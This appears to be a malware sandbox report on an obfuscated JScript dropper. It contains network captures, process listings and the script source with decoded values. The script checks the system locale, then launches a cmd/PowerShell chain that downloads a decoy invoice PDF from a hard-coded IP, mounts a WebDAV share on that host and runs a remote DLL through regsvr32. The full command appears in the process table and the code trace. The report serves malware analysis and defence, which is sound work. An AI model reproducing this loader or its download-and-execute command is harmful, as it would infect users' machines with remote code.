Jan 11, 2025 06:33:31.820013046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:33:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:33:31.820067883 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:33:31.820103884 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:33:31.820137978 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:33:31.820171118 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:33:31.820204020 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:33:31.820238113 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 06:33:31.820291996 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 06:33:31.820324898 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 06:33:31.820358992 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 06:33:31.825290918 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6052	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:33:34.107342005 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:33:34.922990084 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:33:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:33:27
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js"
Imagebase:	0x7ff66c8a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:33:27
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Imagebase:	0x7ff7cc4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:33:27
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:33:27
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:33:33
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:33:33
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cc4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:33:33
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7231d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:33:34
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:33:34
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:33:34
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,14637233770183932796,1311456170706695569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function abxpkq() {	abxpkq() ➔ undefined
1	kvgogup = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qtiqe = this[yzwcavh + cdarwthx + kligy + dxnjxwlw + zevpaxw + micnzrfw + yhqpy + ufvsuzm] ( this[wojkib + hwmpme + gnhignh + kligy + egmuvb + yzwcavh + ufvsuzm][jiypwhsr + kligy + zevpaxw + cdarwthx + ufvsuzm + zevpaxw + jflvafy + elsgnva + ugjzwu + zevpaxw + gnhignh + ufvsuzm] ( wojkib + hwmpme + gnhignh + kligy + egmuvb + yzwcavh + ufvsuzm + pvwck + hwmpme + uhzffz + zevpaxw + bzwpj + bzwpj ) [dgzjqxd + zevpaxw + pshuo + dgzjqxd + zevpaxw + cdarwthx + kieyon] ( aubgy + nxebdkc + ovcvb + ngjlfo + bmyfxslu + jiypwhsr + vbgbxjf + dgzjqxd + dgzjqxd + ovcvb + nhakolfd + jucqa + bmyfxslu + vbgbxjf + hwmpme + ovcvb + dgzjqxd + xitjhci + jiypwhsr + idylwq + yhqpy + ufvsuzm + kligy + idylwq + bzwpj + imhfef + kphrjix + cdarwthx + yhqpy + zevpaxw + bzwpj + xitjhci + micnzrfw + yhqpy + ufvsuzm + zevpaxw + kligy + yhqpy + cdarwthx + ufvsuzm + egmuvb + idylwq + yhqpy + cdarwthx + bzwpj + xitjhci + yupqzsxif + idylwq + gnhignh + cdarwthx + bzwpj + zevpaxw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( noziulh = 0 ; noziulh < kvgogup[bzwpj + zevpaxw + yhqpy + pshuo + ufvsuzm + uhzffz] ; ++ noziulh )
4	{
5	if ( qtiqe == kvgogup[noziulh] )
6	{
7	qtiqe = true;
8	break ;
9	}
10	}
11	if ( qtiqe !== true )
12	this[wojkib + hwmpme + gnhignh + kligy + egmuvb + yzwcavh + ufvsuzm][iuaktlag + nwyclrn + egmuvb + ufvsuzm] ( );
13	this[wojkib + hwmpme + gnhignh + kligy + egmuvb + yzwcavh + ufvsuzm][jiypwhsr + kligy + zevpaxw + cdarwthx + ufvsuzm + zevpaxw + jflvafy + elsgnva + ugjzwu + zevpaxw + gnhignh + ufvsuzm] ( wojkib + hwmpme + gnhignh + kligy + egmuvb + yzwcavh + ufvsuzm + pvwck + hwmpme + uhzffz + zevpaxw + bzwpj + bzwpj ) [kligy + nwyclrn + yhqpy] ( gnhignh + xnprmt + kieyon + imhfef + fsqyy + gnhignh + imhfef + yzwcavh + idylwq + bdrzlm + zevpaxw + kligy + dxnjxwlw + uhzffz + zevpaxw + bzwpj + bzwpj + pvwck + zevpaxw + yogotdz + zevpaxw + imhfef + qjejisxps + jiypwhsr + idylwq + xnprmt + xnprmt + cdarwthx + yhqpy + kieyon + imhfef + wibsoeqbv + micnzrfw + yhqpy + lfqaoxg + idylwq + cevsppq + zevpaxw + qjejisxps + wojkib + zevpaxw + elsgnva + dgzjqxd + zevpaxw + bhrcb + nwyclrn + zevpaxw + dxnjxwlw + ufvsuzm + imhfef + qjejisxps + jflvafy + nwyclrn + ufvsuzm + prapmnsq + egmuvb + bzwpj + zevpaxw + imhfef + vdriiqkw + ufvsuzm + zevpaxw + xnprmt + yzwcavh + vdriiqkw + xitjhci + egmuvb + yhqpy + lfqaoxg + idylwq + egmuvb + gnhignh + zevpaxw + pvwck + yzwcavh + kieyon + mocpq + imhfef + uhzffz + ufvsuzm + ufvsuzm + yzwcavh + namwue + fsqyy + fsqyy + vypapnnjj + vwqzeepr + mizei + pvwck + vypapnnjj + sxylns + mizei + pvwck + vypapnnjj + pvwck + xcgovt + ncccbuf + fvthltj + fsqyy + egmuvb + yhqpy + lfqaoxg + idylwq + egmuvb + gnhignh + zevpaxw + pvwck + yzwcavh + uhzffz + yzwcavh + wibsoeqbv + cievgn + cievgn + dxnjxwlw + ufvsuzm + cdarwthx + kligy + ufvsuzm + imhfef + vdriiqkw + ufvsuzm + zevpaxw + xnprmt + yzwcavh + vdriiqkw + xitjhci + egmuvb + yhqpy + lfqaoxg + idylwq + egmuvb + gnhignh + zevpaxw + pvwck + yzwcavh + kieyon + mocpq + cievgn + cievgn + gnhignh + xnprmt + kieyon + imhfef + fsqyy + gnhignh + imhfef + yhqpy + zevpaxw + ufvsuzm + imhfef + nwyclrn + dxnjxwlw + zevpaxw + imhfef + xitjhci + xitjhci + vypapnnjj + vwqzeepr + mizei + pvwck + vypapnnjj + sxylns + mizei + pvwck + vypapnnjj + pvwck + xcgovt + ncccbuf + fvthltj + uzzpkm + cksbmviyl + cksbmviyl + cksbmviyl + cksbmviyl + xitjhci + kieyon + cdarwthx + lfqaoxg + bdrzlm + bdrzlm + bdrzlm + kligy + idylwq + idylwq + ufvsuzm + xitjhci + cievgn + cievgn + gnhignh + xnprmt + kieyon + imhfef + fsqyy + gnhignh + imhfef + kligy + zevpaxw + pshuo + dxnjxwlw + lfqaoxg + kligy + mizei + xcgovt + imhfef + fsqyy + dxnjxwlw + imhfef + xitjhci + xitjhci + vypapnnjj + vwqzeepr + mizei + pvwck + vypapnnjj + sxylns + mizei + pvwck + vypapnnjj + pvwck + xcgovt + ncccbuf + fvthltj + uzzpkm + cksbmviyl + cksbmviyl + cksbmviyl + cksbmviyl + xitjhci + kieyon + cdarwthx + lfqaoxg + bdrzlm + bdrzlm + bdrzlm + kligy + idylwq + idylwq + ufvsuzm + xitjhci + xcgovt + wjkcytej + mizei + xcgovt + mizei + xcgovt + ycgsv + vwqzeepr + vypapnnjj + xcgovt + wjkcytej + ncccbuf + cksbmviyl + cksbmviyl + pvwck + kieyon + bzwpj + bzwpj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll",0,false) ➔ 0
14	}
15	cdarwthx = "y";
16	cdarwthx = "H";
17	cdarwthx = "E";
18	cdarwthx = "n";
19	cdarwthx = "v";
20	cdarwthx = "M";
21	cdarwthx = "l";
22	cdarwthx = "D";
23	cdarwthx = "W";
24	cdarwthx = "e";
25	cdarwthx = "A";
26	cdarwthx = "Y";
27	cdarwthx = "N";
28	cdarwthx = "f";
29	cdarwthx = "c";
30	cdarwthx = "L";
31	cdarwthx = "I";
32	cdarwthx = "U";
33	cdarwthx = "L";
34	cdarwthx = "m";
35	cdarwthx = "e";
36	cdarwthx = "S";
37	cdarwthx = "a";
38	pvwck = "d";
39	pvwck = "F";
40	pvwck = "S";
41	pvwck = "O";
42	pvwck = "c";
43	pvwck = "j";
44	pvwck = "X";
45	pvwck = "e";
46	pvwck = "i";
47	pvwck = "H";
48	pvwck = "k";
49	pvwck = "U";
50	pvwck = "V";
51	pvwck = "y";
52	pvwck = "O";
53	pvwck = "Q";
54	pvwck = "N";
55	pvwck = "J";
56	pvwck = "v";
57	pvwck = "w";
58	pvwck = "W";
59	pvwck = "B";
60	pvwck = "G";
61	pvwck = "o";
62	pvwck = "X";
63	pvwck = "X";
64	pvwck = "v";
65	pvwck = "a";
66	pvwck = ".";
67	dgzjqxd = "w";
68	dgzjqxd = "b";
69	dgzjqxd = "S";
70	dgzjqxd = "S";
71	dgzjqxd = "n";
72	dgzjqxd = "M";
73	dgzjqxd = "b";
74	dgzjqxd = "x";
75	dgzjqxd = "F";
76	dgzjqxd = "s";
77	dgzjqxd = "F";
78	dgzjqxd = "M";
79	dgzjqxd = "S";
80	dgzjqxd = "i";
81	dgzjqxd = "s";
82	dgzjqxd = "w";
83	dgzjqxd = "G";
84	dgzjqxd = "E";
85	dgzjqxd = "y";
86	dgzjqxd = "R";
87	mocpq = "x";
88	mocpq = "O";
89	mocpq = "G";
90	mocpq = "V";
91	mocpq = "x";
92	mocpq = "B";
93	mocpq = "I";
94	mocpq = "w";
95	mocpq = "x";
96	mocpq = "O";
97	mocpq = "j";
98	mocpq = "H";
99	mocpq = "i";
100	mocpq = "G";
101	mocpq = "P";
102	mocpq = "d";
103	mocpq = "f";
104	wojkib = "H";
105	wojkib = "R";
106	wojkib = "C";
107	wojkib = "D";
108	wojkib = "h";
109	wojkib = "b";
110	wojkib = "W";
111	wojkib = "g";
112	wojkib = "B";
113	wojkib = "M";
114	wojkib = "A";
115	wojkib = "p";
116	wojkib = "b";
117	wojkib = "c";
118	wojkib = "c";
119	wojkib = "O";
120	wojkib = "F";
121	wojkib = "N";
122	wojkib = "L";
123	wojkib = "M";
124	wojkib = "R";
125	wojkib = "e";
126	wojkib = "b";
127	wojkib = "n";
128	wojkib = "E";
129	wojkib = "B";
130	wojkib = "X";
131	wojkib = "b";
132	wojkib = "e";
133	wojkib = "W";
134	wibsoeqbv = "q";
135	wibsoeqbv = "o";
136	wibsoeqbv = "C";
137	wibsoeqbv = "h";
138	wibsoeqbv = "D";
139	wibsoeqbv = "q";
140	wibsoeqbv = "z";
141	wibsoeqbv = "o";
142	wibsoeqbv = "C";
143	wibsoeqbv = "Y";
144	wibsoeqbv = "q";
145	wibsoeqbv = "B";
146	wibsoeqbv = "l";
147	wibsoeqbv = "X";
148	wibsoeqbv = "w";
149	wibsoeqbv = "w";
150	wibsoeqbv = "B";
151	wibsoeqbv = "Z";
152	wibsoeqbv = "C";
153	wibsoeqbv = "S";
154	wibsoeqbv = "F";
155	wibsoeqbv = "u";
156	wibsoeqbv = "e";
157	wibsoeqbv = "b";
158	wibsoeqbv = "o";
159	wibsoeqbv = "C";
160	wibsoeqbv = "z";
161	wibsoeqbv = "v";
162	wibsoeqbv = "v";
163	wibsoeqbv = "\"";
164	wjkcytej = "G";
165	wjkcytej = "r";
166	wjkcytej = "d";
167	wjkcytej = "G";
168	wjkcytej = "V";
169	wjkcytej = "T";
170	wjkcytej = "G";
171	wjkcytej = "a";
172	wjkcytej = "l";
173	wjkcytej = "i";
174	wjkcytej = "M";
175	wjkcytej = "Q";
176	wjkcytej = "J";
177	wjkcytej = "Q";
178	wjkcytej = "U";
179	wjkcytej = "V";
180	wjkcytej = "L";
181	wjkcytej = "L";
182	wjkcytej = "m";
183	wjkcytej = "6";
184	bzwpj = "X";
185	bzwpj = "e";
186	bzwpj = "x";
187	bzwpj = "B";
188	bzwpj = "M";
189	bzwpj = "t";
190	bzwpj = "a";
191	bzwpj = "C";
192	bzwpj = "Z";
193	bzwpj = "j";
194	bzwpj = "B";
195	bzwpj = "f";
196	bzwpj = "o";
197	bzwpj = "J";
198	bzwpj = "A";
199	bzwpj = "W";
200	bzwpj = "n";
201	bzwpj = "Y";
202	bzwpj = "F";
203	bzwpj = "z";
204	bzwpj = "y";
205	bzwpj = "Y";
206	bzwpj = "d";
207	bzwpj = "p";
208	bzwpj = "l";
209	bzwpj = "n";
210	bzwpj = "g";
211	bzwpj = "T";
212	bzwpj = "Z";
213	bzwpj = "B";
214	bzwpj = "P";
215	bzwpj = "h";
216	bzwpj = "J";
217	bzwpj = "a";
218	bzwpj = "w";
219	bzwpj = "B";
220	bzwpj = "h";
221	bzwpj = "l";
222	xnprmt = "q";
223	xnprmt = "k";
224	xnprmt = "q";
225	xnprmt = "l";
226	xnprmt = "r";
227	xnprmt = "P";
228	xnprmt = "r";
229	xnprmt = "T";
230	xnprmt = "j";
231	xnprmt = "u";
232	xnprmt = "A";
233	xnprmt = "V";
234	xnprmt = "C";
235	xnprmt = "K";
236	xnprmt = "V";
237	xnprmt = "M";
238	xnprmt = "y";
239	xnprmt = "y";
240	xnprmt = "u";
241	xnprmt = "u";
242	xnprmt = "S";
243	xnprmt = "c";
244	xnprmt = "F";
245	xnprmt = "l";
246	xnprmt = "E";
247	xnprmt = "P";
248	xnprmt = "P";
249	xnprmt = "q";
250	xnprmt = "c";
251	xnprmt = "b";
252	xnprmt = "q";
253	xnprmt = "t";
254	xnprmt = "X";
255	xnprmt = "J";
256	xnprmt = "Y";
257	xnprmt = "B";
258	xnprmt = "k";
259	xnprmt = "m";
260	lfqaoxg = "Q";
261	lfqaoxg = "d";
262	lfqaoxg = "b";
263	lfqaoxg = "o";
264	lfqaoxg = "b";
265	lfqaoxg = "o";
266	lfqaoxg = "f";
267	lfqaoxg = "T";
268	lfqaoxg = "d";
269	lfqaoxg = "i";
270	lfqaoxg = "C";
271	lfqaoxg = "z";
272	lfqaoxg = "x";
273	lfqaoxg = "T";
274	lfqaoxg = "x";
275	lfqaoxg = "W";
276	lfqaoxg = "X";
277	lfqaoxg = "f";
278	lfqaoxg = "S";
279	lfqaoxg = "z";
280	lfqaoxg = "c";
281	lfqaoxg = "Q";
282	lfqaoxg = "v";
283	vwqzeepr = "r";
284	vwqzeepr = "9";
285	prapmnsq = "D";
286	prapmnsq = "X";
287	prapmnsq = "q";
288	prapmnsq = "k";
289	prapmnsq = "o";
290	prapmnsq = "s";
291	prapmnsq = "v";
292	prapmnsq = "f";
293	prapmnsq = "Y";
294	prapmnsq = "S";
295	prapmnsq = "X";
296	prapmnsq = "Y";
297	prapmnsq = "l";
298	prapmnsq = "r";
299	prapmnsq = "o";
300	prapmnsq = "M";
301	prapmnsq = "D";
302	prapmnsq = "O";
303	prapmnsq = "F";
304	gnhignh = "C";
305	gnhignh = "e";
306	gnhignh = "g";
307	gnhignh = "Y";
308	gnhignh = "D";
309	gnhignh = "Y";
310	gnhignh = "y";
311	gnhignh = "O";
312	gnhignh = "v";
313	gnhignh = "J";
